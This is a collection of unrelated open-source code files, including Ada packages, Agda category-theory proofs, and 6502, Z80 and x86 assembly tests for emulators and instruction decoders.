round -3.67 rounding to nearest
--> -4 |
awa/samples/src/atlas-reviews-beans.ads | Letractively/ada-awa | 0 | 17372 | <reponame>Letractively/ada-awa
-----------------------------------------------------------------------
-- atlas-reviews-beans -- Beans for module reviews
-- Copyright (C) 2014 Stephane.Carrez
-- Written by Stephane.Carrez (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Util.Beans.Basic;
with Util.Beans.Objects;
with Util.Beans.Methods;
with Atlas.Reviews.Modules;
with Atlas.Reviews.Models;
package Atlas.Reviews.Beans is
type Review_Bean is new Atlas.Reviews.Models.Review_Bean with record
Module : Atlas.Reviews.Modules.Review_Module_Access := null;
end record;
type Review_Bean_Access is access all Review_Bean'Class;
-- Get the value identified by the name.
overriding
function Get_Value (From : in Review_Bean;
Name : in String) return Util.Beans.Objects.Object;
-- Set the value identified by the name.
overriding
procedure Set_Value (From : in out Review_Bean;
Name : in String;
Value : in Util.Beans.Objects.Object);
overriding
procedure Save (Bean : in out Review_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
overriding
procedure Delete (Bean : in out Review_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
overriding
procedure Load (Bean : in out Review_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
-- Create the Reviews_Bean bean instance.
function Create_Review_Bean (Module : in Atlas.Reviews.Modules.Review_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
type Review_List_Bean is new Atlas.Reviews.Models.Review_List_Bean with record
Module : Atlas.Reviews.Modules.Review_Module_Access := null;
Reviews : aliased Atlas.Reviews.Models.List_Info_List_Bean;
Reviews_Bean : Atlas.Reviews.Models.List_Info_List_Bean_Access;
end record;
type Review_List_Bean_Access is access all Review_List_Bean'Class;
-- Get the value identified by the name.
overriding
function Get_Value (From : in Review_List_Bean;
Name : in String) return Util.Beans.Objects.Object;
-- Set the value identified by the name.
overriding
procedure Set_Value (From : in out Review_List_Bean;
Name : in String;
Value : in Util.Beans.Objects.Object);
overriding
procedure Load (Into : in out Review_List_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
-- Create the Review_List_Bean bean instance.
function Create_Review_List_Bean (Module : in Atlas.Reviews.Modules.Review_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
end Atlas.Reviews.Beans;
|
4/02.asm | Changlon/x86Assembly | 0 | 172924 | <filename>4/02.asm<gh_stars>0
section s1
offset dw str1,str2,num ; str1 = 100 , str2 = 105 , num = 20
section s2 align=16 VSTART=0X100
str1 db 'hello'
str2 db 'world'
section s3 align=16
num dw 0xbad
|
tests/assembly/BCS_BCC.asm | danecreekphotography/6502ts | 0 | 241546 | <gh_stars>0
; Verifies BCS and BCC
.segment "VECTORS"
.word $eaea
.word init
.word $eaea
.code
init:
bcs handleBCS ; Carry flag will be false, no branch
bcs handleBCS ; Carry flag will be true, branch
nop ; Padding in memory so the offset isn't zero
handleBCS:
lda #$42 ; Load something to prove execution is here
bcc handleBNE ; Carry flag will be true, no branch
bcc handleBNE ; Carry flag will be false, branch
nop ; Padding in memory so the offset isn't zero
handleBNE:
ldx #$42 ; Load something to prove execution is here
bne handleBCS ; Jump backwards to test negative offset |
Categories/Adjunction/CompositionLaws.agda | copumpkin/categories | 98 | 6185 | {-# OPTIONS --universe-polymorphism #-}
module Categories.Adjunction.CompositionLaws where
open import Level
open import Relation.Binary using (Rel; IsEquivalence)
open import Data.Sum
open import Data.Product
open import Function using (flip)
open import Categories.Category
open import Categories.Functor hiding (equiv; assoc; identityˡ; identityʳ; ∘-resp-≡) renaming (id to idF; _≡_ to _≡F_; _∘_ to _∘F_)
open import Categories.NaturalTransformation hiding (equiv; setoid) renaming (id to idT; _≡_ to _≡T_)
open import Categories.Monad
open import Categories.Support.Equivalence
open import Categories.Adjunction
open import Categories.Adjunction.Composition
.assoc : ∀ {o₀ ℓ₀ e₀ o₁ ℓ₁ e₁ o₂ ℓ₂ e₂ o₃ ℓ₃ e₃}
{C₀ : Category o₀ ℓ₀ e₀} {C₁ : Category o₁ ℓ₁ e₁} {C₂ : Category o₂ ℓ₂ e₂} {C₃ : Category o₃ ℓ₃ e₃}
{F : Functor C₀ C₁} {G : Functor C₁ C₂} {H : Functor C₂ C₃}
{F′ : Functor C₁ C₀} {G′ : Functor C₂ C₁} {H′ : Functor C₃ C₂}
{T : F ⊣ F′} {U : G ⊣ G′} {V : H ⊣ H′}
→ (V ∘ U) ∘ T ≡ V ∘ (U ∘ T)
assoc {C₀ = C₀} {C₁} {C₂} {C₃} {F} {G} {H} {F′} {G′} {H′} {T} {U} {V} = (λ {x} → pf₀ {x}) , λ {x} → pf₁ {x}
where
module C₀ = Category C₀
module C₁ = Category C₁
module C₂ = Category C₂
module C₃ = Category C₃
module F = Functor F
module G = Functor G renaming (F₀ to G₀; F₁ to G₁; F-resp-≡ to G-resp-≡)
module H = Functor H renaming (F₀ to H₀; F₁ to H₁; F-resp-≡ to H-resp-≡)
module F′ = Functor F′ renaming (F₀ to F′₀; F₁ to F′₁; F-resp-≡ to F′-resp-≡)
module G′ = Functor G′ renaming (F₀ to G′₀; F₁ to G′₁; F-resp-≡ to G′-resp-≡)
module H′ = Functor H′ renaming (F₀ to H′₀; F₁ to H′₁; F-resp-≡ to H′-resp-≡)
module T = Adjunction T renaming (unit to Tη′; counit to Tε′)
module U = Adjunction U renaming (unit to Uη′; counit to Uε′)
module V = Adjunction V renaming (unit to Vη′; counit to Vε′)
module Tη = NaturalTransformation (Adjunction.unit T)
module Tε = NaturalTransformation (Adjunction.counit T)
module Uη = NaturalTransformation (Adjunction.unit U)
module Uε = NaturalTransformation (Adjunction.counit U)
module Vη = NaturalTransformation (Adjunction.unit V)
module Vε = NaturalTransformation (Adjunction.counit V)
pf₀ : {x : C₀.Obj} → F′.F′₁ (G′.G′₁ (Vη.η (G.G₀ (F.F₀ x))) C₁.∘ Uη.η (F.F₀ x)) C₀.∘
Tη.η x
C₀.≡
F′.F′₁ (G′.G′₁ (Vη.η (G.G₀ (F.F₀ x)))) C₀.∘
F′.F′₁ (Uη.η (F.F₀ x)) C₀.∘ Tη.η x
pf₀ {x} = begin
F′.F′₁ (G′.G′₁ (Vη.η (G.G₀ (F.F₀ x))) C₁.∘ Uη.η (F.F₀ x)) C₀.∘
Tη.η x
↓⟨ C₀.∘-resp-≡ˡ F′.homomorphism ⟩
C₀ [ F′.F′₁ (G′.G′₁ (Vη.η (G.G₀ (F.F₀ x)))) ∘
F′.F′₁ (Uη.η (F.F₀ x)) ]
C₀.∘ Tη.η x
↓⟨ C₀.assoc ⟩
F′.F′₁ (G′.G′₁ (Vη.η (G.G₀ (F.F₀ x)))) C₀.∘
F′.F′₁ (Uη.η (F.F₀ x)) C₀.∘ Tη.η x
∎
where open C₀.HomReasoning
pf₁ : {x : C₃.Obj} → (Vε.η x C₃.∘ H.H₁ (Uε.η (H′.H′₀ x))) C₃.∘
H.H₁ (G.G₁ (Tε.η (G′.G′₀ (H′.H′₀ x))))
C₃.≡
Vε.η x C₃.∘
H.H₁ (Uε.η (H′.H′₀ x) C₂.∘ G.G₁ (Tε.η (G′.G′₀ (H′.H′₀ x))))
pf₁ {x} = begin
(Vε.η x C₃.∘ H.H₁ (Uε.η (H′.H′₀ x))) C₃.∘
H.H₁ (G.G₁ (Tε.η (G′.G′₀ (H′.H′₀ x))))
↓⟨ C₃.assoc ⟩
Vε.η x C₃.∘
H.H₁ (Uε.η (H′.H′₀ x)) C₃.∘ H.H₁ (G.G₁ (Tε.η (G′.G′₀ (H′.H′₀ x))))
↑⟨ C₃.∘-resp-≡ʳ H.homomorphism ⟩
Vε.η x C₃.∘
H.H₁ (C₂ [ Uε.η (H′.H′₀ x) ∘ G.G₁ (Tε.η (G′.G′₀ (H′.H′₀ x))) ])
∎
where open C₃.HomReasoning
.identityˡ : ∀ {o ℓ e} {o′ ℓ′ e′} {C : Category o ℓ e} {D : Category o′ ℓ′ e′} {F : Functor C D} {G : Functor D C} {T : F ⊣ G}
→ id ∘ T ≡ T
identityˡ {C = C} {D} {F} {G} {T} = ( (λ {x} → pf₀ {x}) , D.identityˡ )
where
module C = Category C
module D = Category D
module F = Functor F
module G = Functor G
module T = Adjunction T renaming (unit to Tη′; counit to Tε′)
module Tη = NaturalTransformation T.Tη′
module Tε = NaturalTransformation T.Tε′
pf₀ : {x : C.Obj} → G.F₁ D.id C.∘ NaturalTransformation.η Tη.op x C.≡
NaturalTransformation.η Tη.op x
pf₀ {x} = begin
G.F₁ D.id C.∘ NaturalTransformation.η Tη.op x
↓⟨ C.∘-resp-≡ˡ G.identity ⟩
C.id C.∘ NaturalTransformation.η Tη.op x
↓⟨ C.identityˡ ⟩
NaturalTransformation.η Tη.op x
∎
where open C.HomReasoning
.identityʳ : ∀ {o ℓ e} {o′ ℓ′ e′} {C : Category o ℓ e} {D : Category o′ ℓ′ e′} {F : Functor C D} {G : Functor D C} {T : F ⊣ G}
→ T ∘ id ≡ T
identityʳ {C = C} {D} {F} {G} {T} = (λ {x} → C.identityʳ) , (λ {x} → pf₀ {x})
where
module C = Category C
module D = Category D
module F = Functor F
module G = Functor G
module T = Adjunction T renaming (unit to Tη′; counit to Tε′)
module Tη = NaturalTransformation T.Tη′
module Tε = NaturalTransformation T.Tε′
pf₀ : {x : D.Obj} → NaturalTransformation.η Tε.op x D.∘ F.F₁ C.id D.≡
NaturalTransformation.η Tε.op x
pf₀ {x} = begin
NaturalTransformation.η Tε.op x D.∘ F.F₁ C.id
↓⟨ D.∘-resp-≡ʳ F.identity ⟩
NaturalTransformation.η Tε.op x D.∘ D.id
↓⟨ D.identityʳ ⟩
NaturalTransformation.η Tε.op x
∎
where open D.HomReasoning
.∘-resp-≡ : ∀ {o₀ ℓ₀ e₀ o₁ ℓ₁ e₁ o₂ ℓ₂ e₂}
{A : Category o₀ ℓ₀ e₀} {B : Category o₁ ℓ₁ e₁} {C : Category o₂ ℓ₂ e₂}
{F : Functor B C} {G : Functor A B} {F′ : Functor C B} {G′ : Functor B A}
{T T′ : G ⊣ G′} {U U′ : F ⊣ F′}
→ T ≡ T′ → U ≡ U′ → U ∘ T ≡ U′ ∘ T′
∘-resp-≡ {A = A} {B} {C} {F} {G} {F′} {G′} {T} {T′} {U} {U′} (Tη≡T′η , Tε≡T′ε) (Uη≡U′η , Uε≡U′ε) =
(λ {x} → A.∘-resp-≡ (G′.F-resp-≡ Uη≡U′η) Tη≡T′η)
,
(λ {x} → C.∘-resp-≡ Uε≡U′ε (F.F-resp-≡ Tε≡T′ε))
where
module A = Category A
module B = Category B
module C = Category C
module F = Functor F
module G = Functor G
module F′ = Functor F′
module G′ = Functor G′
module T = Adjunction T renaming (unit to Tη′; counit to Tε′)
module U = Adjunction U renaming (unit to Uη′; counit to Uε′)
module T′ = Adjunction T′ renaming (unit to T′η′; counit to T′ε′)
module U′ = Adjunction U′ renaming (unit to U′η′; counit to U′ε′)
module Tη = NaturalTransformation (Adjunction.unit T)
module Tε = NaturalTransformation (Adjunction.counit T)
module Uη = NaturalTransformation (Adjunction.unit U)
module Uε = NaturalTransformation (Adjunction.counit U)
module T′η = NaturalTransformation (Adjunction.unit T′)
module T′ε = NaturalTransformation (Adjunction.counit T′)
module U′η = NaturalTransformation (Adjunction.unit U′)
module U′ε = NaturalTransformation (Adjunction.counit U′)
|
ModelRender/DrawLines.asm | ped7g/EliteNext | 0 | 25373 |
; ---------------------------------------------------------------------------------------------------------------------------------
DrawLinesCounter db 0
; Initial tests look OK
LL155:;
ClearLine: ; CLEAR LINEstr visited by EE31 when XX3 heap ready to draw/erase lines in XX19 heap.
;break ; ObjectInFront:
DrawLines: ld a,$65 ; DEBUG
ld iyl,a ; set ixl to colour (assuming we come in here with a = colour to draw)
ld a,(UbnkLineArrayLen) ; get number of lines
ReturnIfAIsZero ; No lines then bail out.
ld iyh,a ; number of lines still to draw
ld hl,UbnkLineArray
;LL27: ; counter Y, Draw clipped lines in XX19 ship lines heap
DrawXX19ClippedLines: ld c,(hl) ; (XX19),Y c = varX1
inc hl
ld b,(hl) ; bc = point1 Y,X
inc hl
;;DEBUGTEST push bc
;;DEBUGTEST push hl
;;DEBUGTEST push de
;;DEBUGTEST ld a,$3F
;;DEBUGTEST MMUSelectLayer2
;;DEBUGTEST call l2_plot_pixel
;;DEBUGTEST pop de
;;DEBUGTEST pop hl
;;DEBUGTEST pop bc
ld e,(hl) ; c = varX1
inc hl
ld d,(hl) ; de = point2 Y,X
;;DEBUGTEST push bc
;;DEBUGTEST push hl
;;DEBUGTEST push de
;;DEBUGTEST push de
;;DEBUGTEST pop bc
;;DEBUGTEST ld a,$3F
;;DEBUGTEST MMUSelectLayer2
;;DEBUGTEST call l2_plot_pixel
;;DEBUGTEST pop de
;;DEBUGTEST pop hl
;;DEBUGTEST pop bc
inc hl
push hl
push iy
ld h,b
ld l,c
; call l2_draw_any_line ; call version of LOIN that used BCDE
ld a,iyl ; get colour back before calling line draw
MMUSelectLayer2
call LineHLtoDE
pop iy
pop hl
dec iyh
jr nz,DrawXX19ClippedLines
ret ; --- Wireframe end \ LL118-1
|
tests/incbin/4.asm | dommilosz/customasm | 414 | 93130 | #d incbin("unk" @ 0xffff) ; error: expected string |
source/resolver/program-resolvers-basic.adb | reznikmm/gela | 0 | 8192 | <filename>source/resolver/program-resolvers-basic.adb
-- SPDX-FileCopyrightText: 2019-2021 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Element_Iterators;
with Program.Elements.Defining_Identifiers;
with Program.Interpretations;
with Program.Node_Symbols;
with Program.Type_Resolvers;
package body Program.Resolvers.Basic is
----------------------
-- Enumeration_Type --
----------------------
overriding procedure Enumeration_Type
(Self : in out Visitor;
Element : not null Program.Elements.Enumeration_Types
.Enumeration_Type_Access) is
begin
Self.Env.Create_Enumeration_Type
(Symbol => Program.Node_Symbols.Get_Symbol (Self.Type_Name),
Name => Self.Type_Name);
Self.Type_View := Self.Env.Latest_View;
Self.Visit_Each_Child (Element);
end Enumeration_Type;
---------------------------
-- Exception_Declaration --
---------------------------
overriding procedure Exception_Declaration
(Self : in out Visitor;
Element : not null Program.Elements.Exception_Declarations
.Exception_Declaration_Access) is
begin
for J in Element.Names.Each_Element loop
Self.Env.Create_Exception
(Symbol => Program.Node_Symbols.Get_Symbol (J.Element),
Name => J.Element.To_Defining_Name);
end loop;
end Exception_Declaration;
-------------------------
-- Floating_Point_Type --
-------------------------
overriding procedure Floating_Point_Type
(Self : in out Visitor;
Element : not null Program.Elements.Floating_Point_Types
.Floating_Point_Type_Access)
is
pragma Unreferenced (Element);
begin
Self.Env.Create_Float_Point_Type
(Symbol => Program.Node_Symbols.Get_Symbol (Self.Type_Name),
Name => Self.Type_Name);
Self.Env.Leave_Declarative_Region;
end Floating_Point_Type;
-------------------------
-- Subtype_Declaration --
-------------------------
overriding procedure Subtype_Declaration
(Self : in out Visitor;
Element : not null Program.Elements.Subtype_Declarations
.Subtype_Declaration_Access)
is
Sets : aliased Program.Interpretations.Context (Self.Env);
Subtype_Name : constant
Program.Elements.Defining_Names.Defining_Name_Access :=
Element.Name.To_Defining_Name;
Type_View : Program.Visibility.View;
Has_Constraint : constant Boolean :=
Element.Subtype_Indication.Constraint.Assigned;
begin
Program.Type_Resolvers.Resolve_Type
(Element.Subtype_Indication.Subtype_Mark,
Self.Env,
Self.Setter,
Sets'Unchecked_Access,
Type_View);
Self.Env.Create_Subtype
(Symbol => Program.Node_Symbols.Get_Symbol (Subtype_Name),
Name => Subtype_Name,
Subtype_Mark => Type_View,
Has_Constraint => Has_Constraint);
if Has_Constraint then
Element.Subtype_Indication.Constraint.Visit (Self);
end if;
for Aspect in Element.Aspects.Each_Element loop
Aspect.Element.Visit (Self);
end loop;
Self.Env.Leave_Declarative_Region;
end Subtype_Declaration;
----------------------
-- Type_Declaration --
----------------------
overriding procedure Type_Declaration
(Self : in out Visitor;
Element : not null Program.Elements.Type_Declarations
.Type_Declaration_Access) is
begin
Self.Type_Name :=
Program.Elements.Defining_Names.Defining_Name_Access (Element.Name);
Self.Discriminants := Element.Discriminant_Part;
Self.Visit_Each_Child (Element);
Self.Type_Name := null;
Self.Discriminants := null;
end Type_Declaration;
----------------------
-- Visit_Each_Child --
----------------------
procedure Visit_Each_Child
(Self : in out Visitor;
Element : access Program.Elements.Element'Class) is
begin
for Cursor in Element.Each_Child loop
Cursor.Element.Visit (Self);
end loop;
end Visit_Each_Child;
end Program.Resolvers.Basic;
|
recode1.asm | joncampbell123/minx86dec | 19 | 14771 | <gh_stars>10-100
; recompiler test code #1
org 0
_start:
; JMP [reg] 16-bit
jmp ax
jmp bx
jmp cx
jmp dx
jmp si
jmp di
jmp bp
jmp sp
; JMP [reg] 32-bit
jmp eax
jmp ebx
jmp ecx
jmp edx
jmp esi
jmp edi
jmp ebp
jmp esp
; JMP [addr] 16-bit single-memref
jmp [bx]
jmp [bp]
jmp [si]
jmp [di]
; JMP [addr] 16-bit single-memref with offset
jmp [bx+3]
jmp [bp+4]
jmp [si+5]
jmp [di+6]
; JMP [addr] 16-bit single-memref with large offset
jmp [bx+0x1111]
jmp [bp+0x2222]
jmp [si+0x3333]
jmp [di+0x4444]
; JMP [addr] 16-bit single-memref with negative offset
jmp [bx-3]
jmp [bp-4]
jmp [si-5]
jmp [di-6]
; JMP [addr] 16-bit single-memref with large negative offset
jmp [bx-0x1111]
jmp [bp-0x2222]
jmp [si-0x3333]
jmp [di-0x4444]
; JMP [addr] 16-bit double-memref
jmp [bx+si]
jmp [bx+di]
jmp [bp+si]
jmp [bp+di]
; JMP [addr] 16-bit double-memref and offset
jmp [bx+si+3]
jmp [bx+di+4]
jmp [bp+si+5]
jmp [bp+di+6]
; JMP [addr] 16-bit double-memref and large offset
jmp [bx+si+0x1111]
jmp [bx+di+0x2222]
jmp [bp+si+0x3333]
jmp [bp+di+0x4444]
; JMP [addr] 32-bit single-memref
jmp [eax]
jmp [ebx]
jmp [ecx]
jmp [edx]
jmp [esi]
jmp [edi]
jmp [esp]
jmp [ebp]
; JMP [addr] 32-bit single-memref with offset
jmp [eax+3]
jmp [ebx+4]
jmp [ecx+5]
jmp [edx+6]
jmp [esi+7]
jmp [edi+8]
jmp [esp+9]
jmp [ebp+10]
; JMP [addr] 32-bit single-memref with large offset
jmp [eax+0x11111111]
jmp [ebx+0x22222222]
jmp [ecx+0x33333333]
jmp [edx+0x44444444]
jmp [esi+0x55555555]
jmp [edi+0x66666666]
jmp [esp+0x77777777]
jmp [ebp+0x88888888]
; JMP [addr] 32-bit double-memref
jmp [eax+eax]
jmp [ebx+eax]
jmp [ecx+eax]
jmp [edx+eax]
jmp [esi+eax]
jmp [edi+eax]
jmp [esp+eax]
jmp [ebp+eax]
; JMP [addr] 32-bit double-memref
jmp [eax+ebx]
jmp [ebx+ebx]
jmp [ecx+ebx]
jmp [edx+ebx]
jmp [esi+ebx]
jmp [edi+ebx]
jmp [esp+ebx]
jmp [ebp+ebx]
; JMP [addr] 32-bit double-memref and scalar
jmp [eax*2+ebx]
jmp [ebx*2+ebx]
jmp [ecx*2+ebx]
jmp [edx*2+ebx]
jmp [esi*2+ebx]
jmp [edi*2+ebx]
jmp [ebp*2+ebx]
; JMP [addr] 32-bit double-memref and scalar
jmp [eax*2+ebx+4]
jmp [ebx*2+ebx+5]
jmp [ecx*2+ebx+6]
jmp [edx*2+ebx+7]
jmp [esi*2+ebx+8]
jmp [edi*2+ebx+9]
jmp [ebp*2+ebx+10]
; JMP <near>
jmp 0x1234
jmp 0x5678
; JMP <short>
jmp short $+1
jmp short $+2
; JMP <32-bit near>
jmp dword 0x12345678
jmp dword 0x89ABCDEF
; JMP <far immediate>
jmp 0x1234:0x5678
; jmp <32-bit far immediate>
jmp 0x1234:dword 0x89ABCDEF
; JMP <far [addr]>
jmp far [bx]
jmp far [si]
jmp far [bp]
jmp far [bx+si]
jmp far [bx+di]
; JMP <far [32-bit addr]>
jmp far [eax]
jmp far [ebx]
jmp far [ecx]
jmp far [edx]
jmp far [esi]
jmp far [edi]
jmp far [esp]
jmp far [ebp]
; JMP <32-bit far [addr]>
jmp far dword [bx]
jmp far dword [si]
jmp far dword [bp]
jmp far dword [bx+si]
jmp far dword [bx+di]
; JMP <32-bit far 32-bit addr>
jmp far dword [eax]
jmp far dword [ebx]
jmp far dword [ecx]
jmp far dword [edx]
jmp far dword [esi]
jmp far dword [edi]
jmp far dword [esp]
jmp far dword [ebp]
; JMP <addr>
jmp word [0x1234]
jmp [dword 0x12345678]
jmp far word [0x1234]
jmp far [dword 0x12345678]
; JMP [reg] 16-bit
call ax
call bx
call cx
call dx
call si
call di
call bp
call sp
; JMP [reg] 32-bit
call eax
call ebx
call ecx
call edx
call esi
call edi
call ebp
call esp
; JMP [addr] 16-bit single-memref
call [bx]
call [bp]
call [si]
call [di]
; JMP [addr] 16-bit single-memref with offset
call [bx+3]
call [bp+4]
call [si+5]
call [di+6]
; JMP [addr] 16-bit single-memref with large offset
call [bx+0x1111]
call [bp+0x2222]
call [si+0x3333]
call [di+0x4444]
; JMP [addr] 16-bit single-memref with negative offset
call [bx-3]
call [bp-4]
call [si-5]
call [di-6]
; JMP [addr] 16-bit single-memref with large negative offset
call [bx-0x1111]
call [bp-0x2222]
call [si-0x3333]
call [di-0x4444]
; JMP [addr] 16-bit double-memref
call [bx+si]
call [bx+di]
call [bp+si]
call [bp+di]
; JMP [addr] 16-bit double-memref and offset
call [bx+si+3]
call [bx+di+4]
call [bp+si+5]
call [bp+di+6]
; JMP [addr] 16-bit double-memref and large offset
call [bx+si+0x1111]
call [bx+di+0x2222]
call [bp+si+0x3333]
call [bp+di+0x4444]
; JMP [addr] 32-bit single-memref
call [eax]
call [ebx]
call [ecx]
call [edx]
call [esi]
call [edi]
call [esp]
call [ebp]
; JMP [addr] 32-bit single-memref with offset
call [eax+3]
call [ebx+4]
call [ecx+5]
call [edx+6]
call [esi+7]
call [edi+8]
call [esp+9]
call [ebp+10]
; JMP [addr] 32-bit single-memref with large offset
call [eax+0x11111111]
call [ebx+0x22222222]
call [ecx+0x33333333]
call [edx+0x44444444]
call [esi+0x55555555]
call [edi+0x66666666]
call [esp+0x77777777]
call [ebp+0x88888888]
; JMP [addr] 32-bit double-memref
call [eax+eax]
call [ebx+eax]
call [ecx+eax]
call [edx+eax]
call [esi+eax]
call [edi+eax]
call [esp+eax]
call [ebp+eax]
; JMP [addr] 32-bit double-memref
call [eax+ebx]
call [ebx+ebx]
call [ecx+ebx]
call [edx+ebx]
call [esi+ebx]
call [edi+ebx]
call [esp+ebx]
call [ebp+ebx]
; JMP [addr] 32-bit double-memref and scalar
call [eax*2+ebx]
call [ebx*2+ebx]
call [ecx*2+ebx]
call [edx*2+ebx]
call [esi*2+ebx]
call [edi*2+ebx]
call [ebp*2+ebx]
; JMP [addr] 32-bit double-memref and scalar
call [eax*2+ebx+4]
call [ebx*2+ebx+5]
call [ecx*2+ebx+6]
call [edx*2+ebx+7]
call [esi*2+ebx+8]
call [edi*2+ebx+9]
call [ebp*2+ebx+10]
; JMP <near>
call 0x1234
call 0x5678
; JMP <32-bit near>
call dword 0x12345678
call dword 0x89ABCDEF
; JMP <far immediate>
call 0x1234:0x5678
; call <32-bit far immediate>
call 0x1234:dword 0x89ABCDEF
; JMP <far [addr]>
call far [bx]
call far [si]
call far [bp]
call far [bx+si]
call far [bx+di]
; JMP <far [32-bit addr]>
call far [eax]
call far [ebx]
call far [ecx]
call far [edx]
call far [esi]
call far [edi]
call far [esp]
call far [ebp]
; JMP <32-bit far [addr]>
call far dword [bx]
call far dword [si]
call far dword [bp]
call far dword [bx+si]
call far dword [bx+di]
; JMP <32-bit far 32-bit addr>
call far dword [eax]
call far dword [ebx]
call far dword [ecx]
call far dword [edx]
call far dword [esi]
call far dword [edi]
call far dword [esp]
call far dword [ebp]
; JMP <addr>
call word [0x1234]
call [dword 0x12345678]
call far word [0x1234]
call far [dword 0x12345678]
; NOPs
nop
nop
; XCHG <8-bit>
xchg al,al
xchg al,bl
xchg al,cl
xchg al,dl
xchg al,ah
xchg al,bh
xchg al,ch
xchg al,dh
; XCHG ax,<16-bit>
xchg ax,ax
xchg ax,bx
xchg ax,cx
xchg ax,dx
xchg ax,si
xchg ax,di
xchg ax,sp
xchg ax,bp
; XCHG <16-bit>
xchg bx,ax
xchg cx,bx
xchg dx,cx
xchg si,dx
xchg di,si
xchg sp,di
xchg bp,sp
xchg ax,bp
; XCHG <8-bit w/ mem>
xchg [si],al
xchg [si],bl
xchg [si],cl
xchg [si],dl
xchg [si],ah
xchg [si],bh
xchg [si],ch
xchg [si],dh
; XCHG <8-bit w/ mem>
xchg [esi],al
xchg [esi],bl
xchg [esi],cl
xchg [esi],dl
xchg [esi],ah
xchg [esi],bh
xchg [esi],ch
xchg [esi],dh
; XCHG <16-bit w/ mem>
xchg [si],ax
xchg [si],bx
xchg [si],cx
xchg [si],dx
xchg [si],si
xchg [si],di
xchg [si],sp
xchg [si],bp
; XCHG eax,<32-bit>
xchg eax,eax
xchg eax,ebx
xchg eax,ecx
xchg eax,edx
xchg eax,esi
xchg eax,edi
xchg eax,esp
xchg eax,ebp
; XCHG <32-bit>
xchg ebx,eax
xchg ecx,ebx
xchg edx,ecx
xchg esi,edx
xchg edi,esi
xchg esp,edi
xchg ebp,esp
xchg eax,ebp
; XCHG <32-bit w/ mem>
xchg [si],eax
xchg [si],ebx
xchg [si],ecx
xchg [si],edx
xchg [si],esi
xchg [si],edi
xchg [si],ebp
xchg [si],esp
; XCHG <32-bit w/ 32-bit mem>
xchg [esi],eax
xchg [esi],ebx
xchg [esi],ecx
xchg [esi],edx
xchg [esi],esi
xchg [esi],edi
xchg [esi],ebp
xchg [esi],esp
; JMP <addr>
xchg [0x1234],ax
xchg [dword 0x12345678],ax
xchg [0x1234],eax
xchg [dword 0x12345678],eax
; MOV reg,reg
mov al,al
mov al,ah
mov al,bl
mov al,bh
mov al,cl
mov al,ch
mov al,dl
mov al,dh
; MOV reg,reg (other than AL)
mov bl,al
mov bh,ah
mov cl,bl
mov ch,bh
mov dl,cl
mov dh,ch
mov al,dl
mov ah,dh
; MOV reg,reg
mov ax,ax
mov ax,bx
mov ax,cx
mov ax,dx
mov ax,si
mov ax,di
mov ax,bp
mov ax,sp
; MOV reg,reg
mov cx,ax
mov dx,bx
mov si,cx
mov di,dx
mov sp,si
mov bp,di
mov ax,bp
mov bx,sp
; MOV reg,reg
mov eax,eax
mov eax,ebx
mov eax,ecx
mov eax,edx
mov eax,esi
mov eax,edi
mov eax,ebp
mov eax,esp
; MOV reg,reg
mov ecx,eax
mov edx,ebx
mov esi,ecx
mov edi,edx
mov esp,esi
mov ebp,edi
mov eax,ebp
mov ebx,esp
; MOV reg,imm (byte)
mov al,0
mov al,1
mov al,0xCC
mov ah,1
mov bl,2
mov cl,3
mov ch,4
mov dl,5
mov dh,6
; MOV reg,imm (word)
mov ax,0
mov bx,1
mov cx,2
mov dx,3
mov si,4
mov di,5
mov sp,6
mov bp,7
; MOV reg,imm (dword)
mov eax,0
mov ebx,1
mov ecx,2
mov edx,3
mov esi,4
mov edi,5
mov esp,6
mov ebp,7
; MOV r/m,imm (byte)
mov byte [si],1
mov byte [di],2
mov byte [bx],3
mov byte [bx+si],4
mov byte [bx+di],5
; MOV r/m,imm (byte 32-bit)
mov byte [eax],1
mov byte [ebx],2
mov byte [ecx],3
mov byte [edx],4
mov byte [esi],5
mov byte [edi],5
; MOV r/m,imm (word)
mov word [si],1
mov word [di],2
mov word [bx],3
mov word [bx+si],4
mov word [bx+di],5
; MOV r/m,imm (word 32-bit)
mov word [eax],1
mov word [ebx],2
mov word [ecx],3
mov word [edx],4
mov word [esi],5
mov word [edi],5
; MOV r/m,imm (dword)
mov dword [si],1
mov dword [di],2
mov dword [bx],3
mov dword [bx+si],4
mov dword [bx+di],5
; MOV r/m,imm (dword 32-bit)
mov dword [eax],1
mov dword [ebx],2
mov dword [ecx],3
mov dword [edx],4
mov dword [esi],5
mov dword [edi],5
; MOV AX <=> [mem addr]
mov al,[0x1234]
mov ax,[0x1234]
mov eax,[0x1234]
mov [0x1234],al
mov [0x1234],ax
mov [0x1234],eax
; MOV AX <=> [mem addr 32]
mov al,[dword 0x12345678]
mov ax,[dword 0x12345678]
mov eax,[dword 0x12345678]
mov [dword 0x12345678],al
mov [dword 0x12345678],ax
mov [dword 0x12345678],eax
; MOV reg,reg
mov [eax],eax
mov [ebx],ebx
mov [edx],ecx
mov [esi],edx
mov [edi],esi
mov [ebp],edi
mov [esi],ebp
mov [ecx],esp
; MOV reg,reg
mov eax,[edx]
mov ebx,[eax]
mov ecx,[ebx]
mov edx,[ecx]
mov esi,[edx]
mov edi,[eax]
mov ebp,[ebx]
mov esp,[ecx]
; MOV reg,reg
mov [si],ax
mov [si],bx
mov [si],cx
mov [si],dx
mov [si],si
mov [si],di
mov [si],bp
mov [si],sp
; MOV reg,reg
mov ax,[si]
mov bx,[si]
mov cx,[si]
mov dx,[si]
mov si,[si]
mov di,[si]
mov bp,[si]
mov sp,[si]
; XCHG <8-bit>
lock xchg al,al
lock xchg al,bl
lock xchg al,cl
lock xchg al,dl
lock xchg al,ah
lock xchg al,bh
lock xchg al,ch
